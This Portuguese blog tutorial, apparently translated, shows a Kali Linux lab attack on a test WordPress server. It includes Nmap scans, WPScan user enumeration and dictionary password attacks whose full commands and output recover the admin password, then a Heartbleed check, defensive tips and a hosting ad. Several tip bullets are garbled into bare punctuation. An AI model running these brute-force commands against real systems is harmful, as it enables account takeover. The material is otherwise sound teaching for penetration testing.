Kali e outras ferramentas semelhantes ajudam a detectar vulnerabilidades em seu software. E é melhor se você os encontrar primeiro, e não os intrusos.
Você não pode esconder um furador em um saco: por ignorância (embora em alguns casos - intencionalmente), até mesmo as grandes corporações deixam buracos em seus sistemas de segurança. É vital (1) localizar e (2) corrigi-los o mais rápido possível. Felizmente, existem muitos produtos diferentes que ajudam com o primeiro ponto. Entre eles está Kali , uma distribuição Linux projetada para testes de segurança. Neste artigo, mostrarei como usar o Kali Linux para investigar seu sistema e encontrar fraquezas simulando um invasor.
A distribuição Kali inclui muitas ferramentas, todas de código aberto. Basta executar a instalação da distribuição e todas essas ferramentas estarão disponíveis fora da caixa.
Imagem : Peter Gervase , CC BY-SA 4.0
Vou usar dois sistemas como cobaias:
- kali.usersys.redhat.com : 30 GB de memória e 6 CPUs virtuais. Este sistema fará a varredura da vítima e lançará ataques.
- vulnerável.usersys.redhat.com : Um sistema com Red Hat Enterprise Linux 8 integrado. Aqui, ele precisará ser atacado.
Mencionei aqui as características técnicas do equipamento por um motivo. Algumas de nossas tarefas exigem bastante do hardware, principalmente da CPU do sistema 2, que executará o verificador de segurança do WordPress ( WPScan ).
Procure portas abertas
Comecei com uma varredura básica do sistema 2. Escaneando o sistema com o Nmap , você pode descobrir quais portas e serviços estão visíveis no sistema 1 iniciando a varredura.
Imagem : Peter Gervase , CC BY-SA 4.0
Portanto, a primeira coisa a fazer é encontrar algumas portas abertas “interessantes” - pontos fracos em potencial. Na verdade, qualquer porta aberta é interessante porque é mais provável que comprometa a rede. Neste exemplo, 21, 22, 80 e 443 também são portas para serviços usados com frequência. Mas, por enquanto, estou apenas fazendo inteligência e tentando obter o máximo de informações possível sobre o sistema que desejo hackear.
Depois disso, para uma análise mais profunda, selecionarei a porta 80 e executarei o comando Nmap com os argumentos -p 80 e -A. Isso permite que você obtenha informações sobre o sistema operacional e o aplicativo que está usando a porta 80.
Imagem : Peter Gervase , CC BY-SA 4.0
Aqui estamos interessados nas seguintes linhas:
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux)) |_http-generator: WordPress 5.6.1
Encontrar informações sobre os usuários
Como agora sei que este é um servidor WordPress, posso usar o WPScan para obter informações sobre vulnerabilidades em potencial. Seria bom encontrar vários nomes de usuário e suas senhas. Para encontrá-los em uma determinada instância do WordPress, use as opções --enumerate u: Ótimo, encontramos dois usuários: admin e pgervase . Tentarei adivinhar a senha do usuário administrador usando dicionários de senha - um arquivo de texto com um conjunto de opções possíveis. Vou pegar dicionários de 3.231 e 3.543.076.137 linhas.
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Adivinhação de senha com ataque de dicionário
Várias ferramentas podem ser usadas para ataques de dicionário. Aqui estão dois comandos de exemplo com Nmap e WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Essas duas ferramentas, é claro, podem fazer muito mais, mas também são adequadas para adivinhar senhas.
Mas este comando WPScan, por exemplo, exibe a senha no final do arquivo:
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57
<==================================================================================================================>
(3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57
<=========================================================
> (3231 / 6462) 50.00%
ETA: ??:??:??
[SUCCESS] — admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
A seção Combinações válidas encontradas no final contém o nome de usuário admin e sua senha. Demorou apenas dois minutos para iterar em 3.231 linhas.
Tenho outro arquivo de dicionário com 3.238.659.984 entradas exclusivas, o que levará muito mais tempo.
O Nmap produz resultados muito mais rápidos:
┌──(rootkali)-[~]
└─# nmap -sV --script http-wordpress-brute
--script-args userdb=users.txt,passdb=password.txt,threads=6
vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat — Valid credentials <<<<<<<
| pgervase:redhat — Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
É verdade que essa verificação pode ser rastreada pelos logs HTTPD que serão detectados no sistema comprometido:
10.19.47.170 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)»
Pesquisar vulnerabilidade Heartbleed
Para obter informações sobre o servidor HTTPS e os protocolos SSL / TLS, uso o comando sslscan:
┌──(rootkali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
Vemos que nenhuma vulnerabilidade Heartbleed foi encontrada nas versões de protocolo usadas no servidor :
Heartbleed: TLSv1.3 not vulnerable to heartbleed TLSv1.2 not vulnerable to heartbleed
Bem, isso significa que não consigo acessar a RAM e os dados do servidor por meio do módulo Heartbeat. Bem ... não é o destino :)
Dicas de prevenção e proteção contra hackers
Você pode escrever muitos artigos sobre como resistir a ataques de hackers de todos os tipos. Aqui, vou me limitar às recomendações gerais:
- Examine seu sistema : quais portas estão abertas, quais portas devem ser abertas, quem deve ser capaz de ver essas portas e quanto tráfego deve passar por elas. Nmap para te ajudar.
- : , , . .
- : , , WordPress, IP- . , IP- , . , .
- : , .
- : , . , .
- , : , « - ».
- Aproveite as ferramentas adicionais de seus fornecedores de software: por exemplo, o Red Hat Enterprise Linux inclui o Red Hat Insights para ajustar seu sistema e alertá-lo sobre possíveis ameaças de segurança em tempo hábil.
Materiais úteis (em inglês)
O que é descrito neste artigo é apenas a ponta do iceberg. Para se aprofundar, você pode explorar os seguintes recursos:
Os servidores em nuvem da Macleod são rápidos e seguros.
Cadastre-se pelo link acima ou clicando no banner e ganhe 10% de desconto no primeiro mês de aluguel de um servidor de qualquer configuração!